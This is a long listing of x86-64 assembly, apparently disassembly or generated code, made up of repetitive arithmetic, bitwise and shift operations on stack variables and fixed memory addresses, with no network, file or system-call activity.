movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4e38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x88e8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f90], rax
mov eax, dword [rsp + 0x4dd8]
movzx ecx, al
mov eax, dword [rsp + 0x4840]
shl eax, cl
mov dword [rsp + 0x4e60], eax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x1518]
or eax, ecx
mov word [0x1401cc03c], ax
mov rax, qword [rsp + 0x9098]
movzx eax, word [rax]
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov byte [rsp + 0x1f8], al
movsx eax, byte [rsp + 0x121]
movsx ecx, byte [0x1401cc00a]
xor eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd4], eax
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x9220], rax
mov rax, qword [rsp + 0x8f38]
mov rcx, qword [rsp + 0x9188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x9228], rax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc008], al
movsx eax, byte [0x1401cc00a]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1de], al
lea rax, [rsp + 0x1ea]
mov qword [rsp + 0x9230], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x151c], ax
movsx eax, word [rsp + 0x152c]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0x9238], rax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x9240], rax
mov rax, qword [rsp + 0x90e8]
mov rcx, qword [rsp + 0x8f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x121c]
mov qword [0x1401cd7b0], rax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ef8]
mov byte [rcx], al
lea rax, [rsp + 0x14dc]
mov qword [rsp + 0x9248], rax
movsx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
lea rax, [0x1401cc048]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x90a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0x8f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e68], eax
lea rax, [rsp + 0x8f90]
mov qword [rsp + 0x9258], rax
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4e48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e24], eax
movzx eax, word [rsp + 0x14cc]
mov word [rsp + 0x1530], ax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [0x1401cd730]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cd724], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f4]
shl eax, cl
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0x9260], rax
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x1e0]
and eax, ecx
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x9220]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9068], rax
lea rax, [rsp + 0x4b18]
mov qword [rsp + 0x9268], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9148], rax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0x9270], rax
movzx eax, word [rsp + 0x1510]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov word [rsp + 0x1500], ax
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f4]
add eax, ecx
mov word [0x1401cc04c], ax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x1500]
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e9], al
mov eax, dword [rsp + 0x4e48]
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x9090]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x84e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fb0], rax
mov eax, dword [rsp + 0x4dfc]
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc018]
xor eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
lea rax, [rsp + 0x11f4]
mov qword [0x1401cd7b8], rax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
sar eax, cl
mov rcx, qword [rsp + 0x8fe8]
mov word [rcx], ax
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x8f90]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
lea rax, [rsp + 0x4de8]
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x9168]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d00]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
movsx eax, byte [rsp + 0x1f9]
mov rcx, qword [rsp + 0x9178]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd760]
mov byte [rcx], al
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14f0], ax
movzx eax, word [rsp + 0x1508]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14c4], ax
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x4e7c], eax
mov rax, qword [rsp + 0x9268]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f28], rax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0x8fa0]
movzx eax, byte [rax]
mov byte [0x1401cd726], al
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ec]
add eax, ecx
mov rcx, qword [rsp + 0x9230]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d4]
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d0], ax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9040], rax
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0x9290], rax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0x9298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9298]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
shl eax, cl
mov word [0x1401cc03c], ax
movzx eax, word [rsp + 0x1510]
movzx ecx, word [rsp + 0x14e4]
and eax, ecx
mov word [rsp + 0x14f8], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0x92a0], rax
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x9248]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x8f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e48], eax
mov eax, dword [rsp + 0x4e78]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e7]
add eax, ecx
mov byte [0x1401cc00a], al
movzx eax, word [rsp + 0x14f4]
mov word [rsp + 0x153c], ax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x1f5]
and eax, ecx
mov byte [rsp + 0x1ed], al
movzx eax, byte [rsp + 0x1eb]
mov byte [rsp + 0x1fb], al
movzx eax, word [rsp + 0x151c]
movzx ecx, word [rsp + 0x1520]
sub eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0x8f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov dword [rcx], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x92b0], rax
mov eax, dword [rsp + 0x4e44]
mov ecx, dword [rsp + 0x4e64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b40], rax
movsx eax, byte [rsp + 0x1f6]
movsx ecx, byte [rsp + 0x1f2]
sar eax, cl
mov byte [0x1401cc00d], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1e9]
shl eax, cl
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
lea rax, [rsp + 0x14dc]
mov qword [rsp + 0x92b8], rax
mov rax, qword [0x1401cd768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1464]
and eax, ecx
mov word [rsp + 0x14e0], ax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x9108]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rax, [rsp + 0x9090]
mov qword [rsp + 0x92c0], rax
mov rax, qword [rsp + 0x90a0]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fb0], rax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc050], ax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0x8f40]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
mov rax, qword [rsp + 0x9100]
movzx eax, byte [rax]
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x91e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x88e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e7c]
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14fc]
or eax, ecx
mov word [0x1401cc040], ax
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
shl eax, cl
mov byte [rsp + 0x1ea], al
lea rax, [rsp + 0x14dc]
mov qword [rsp + 0x92c8], rax
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [rsp + 0x4e4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4e54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e64], eax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x90f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x92b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd725], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
mov rax, qword [0x1401cd7a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x9048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ca4], eax
mov eax, dword [rsp + 0x4dc4]
mov ecx, dword [0x1401cd720]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x84e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9148], rax
lea rax, [rsp + 0x92d0]
mov qword [rsp + 0x92d8], rax
movsx eax, byte [0x1401cd724]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1dd], al
lea rax, [rsp + 0x1538]
mov qword [0x1401cd7c0], rax
mov rax, qword [rsp + 0x91c0]
movzx eax, word [rax]
mov word [rsp + 0x1544], ax
movzx eax, byte [0x1401cc00c]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9260]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4b18]
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x91a0]
movzx ecx, al
mov rax, qword [rsp + 0x9068]
sar rax, cl
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
lea rax, [rsp + 0x4d54]
mov qword [rsp + 0x92e0], rax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x8e00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
movzx eax, byte [0x1401cc00c]
movzx ecx, byte [rsp + 0x180]
shl eax, cl
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1500]
sub eax, ecx
mov word [0x1401cc054], ax
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x92e8], rax
mov rax, qword [0x1401cd768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x92f0], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x8e58]
mov rax, qword [rax]
mov qword [rsp + 0x92f8], rax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x90d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4e90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0x9300], rax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x151c]
sub eax, ecx
mov rcx, qword [0x1401cd738]
mov word [rcx], ax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9088]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x9248]
movzx eax, word [rax]
mov word [rsp + 0x1548], ax
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4e74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
sub eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x1f5]
mov qword [0x1401cd7c8], rax
mov rax, qword [rsp + 0x92b8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x153c], ax
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x154c], ax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x1e3]
xor eax, ecx
mov byte [rsp + 0x1dd], al
lea rax, [rsp + 0x1df]
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0x8ff8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a8], rax
mov eax, dword [rsp + 0x4e50]
movzx ecx, al
mov eax, dword [rsp + 0x4e80]
shl eax, cl
mov dword [rsp + 0x4e60], eax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov word [rsp + 0x1550], ax
mov rax, qword [0x1401cd798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
lea rax, [rsp + 0x153c]
mov qword [rsp + 0x9328], rax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x1db]
and eax, ecx
mov byte [rsp + 0x1ec], al
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x9330], rax
mov rax, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x9290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc00d], al
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [0x1401cd7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e3], al
movsx eax, word [rsp + 0x152c]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov word [rsp + 0x1544], ax
lea rax, [rsp + 0x14fc]
mov qword [rsp + 0x9340], rax
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x87c8], rax
mov eax, dword [0x1401cd710]
movzx ecx, al
mov eax, dword [rsp + 0x4d18]
sar eax, cl
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f20]
mov qword [rsp + 0x9348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9210], rax
mov eax, dword [rsp + 0x4840]
mov dword [rsp + 0x4e94], eax
lea rax, [rsp + 0x1464]
mov qword [0x1401cd7d0], rax
mov rax, qword [rsp + 0x8fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x200], al
movzx eax, word [rsp + 0x1520]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1538], ax
lea rax, [rsp + 0x8f90]
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ca4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e38], eax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1464]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd768]
mov word [rcx], ax
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0x9358], rax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1510], ax
movsx eax, byte [rsp + 0x1fd]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ef]
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0x9030]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
lea rax, [rsp + 0x4e94]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x8f28]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9148]
movzx ecx, al
mov rax, qword [rsp + 0x91b8]
shl rax, cl
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14d4]
mov word [0x1401cd7d8], ax
mov rax, qword [0x1401cd7a0]
movzx eax, word [rax]
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1464]
xor eax, ecx
mov word [rsp + 0x14dc], ax
movzx eax, byte [rsp + 0x1dd]
mov byte [rsp + 0x202], al
movzx eax, word [rsp + 0x1510]
movzx ecx, word [rsp + 0x14d4]
or eax, ecx
mov word [rsp + 0x1528], ax
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9078]
mov qword [rsp + 0x9368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9368]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x92d0], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x9370], rax
mov rax, qword [rsp + 0x8f88]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov dword [rcx], eax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0x9378], rax
movzx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
